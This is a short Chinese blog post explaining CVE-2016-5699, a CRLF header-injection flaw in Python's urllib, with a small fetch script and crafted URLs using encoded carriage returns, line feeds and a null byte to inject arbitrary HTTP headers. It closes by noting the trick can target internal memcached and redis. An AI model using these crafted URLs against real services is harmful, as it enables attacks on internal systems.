python 头注入漏洞

Python的urllib库曾出过一个头注入的漏洞,CVE-2016-5699(http://blog.neargle.com/SecNewsBak/drops/Python%20urllib%20HTTP%E5%A4%B4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html)

如果攻击者可以控制Python代码访问任意URL或者让Python代码访问一个恶意的web servr,那这个漏洞可能会危害内网服务安全。

HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。

import sys

import urllib

import urllib.error

import urllib.request

url = sys.argv[1]

try:

info = urllib.request.urlopen(url).info()

print(info)

except urllib.error.URLError as e:

print(e)

./fetch3.py http://127.0.0.1:12345/foo

返回的HTTP头是

#!shell

GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Connection: close

Host: 127.0.0.1:12345

使用恶意构造的地址

./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

%0a 换行

%0d 回车

返回的HTTP头就是

#!shell

GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Host: 127.0.0.1

X-injected: header

x-leftover: :12345

Connection: close

然后攻击者可以任意注入HTTP头了。

这个攻击在使用域名的时候也可以进行,但是要插入一个空字节才能进行DNS查询。

http://localhost%00%0d%0ax-bar:%20:12345/foo

可以借此攻击memcached和redis

你可能感兴趣的:(python 头注入漏洞)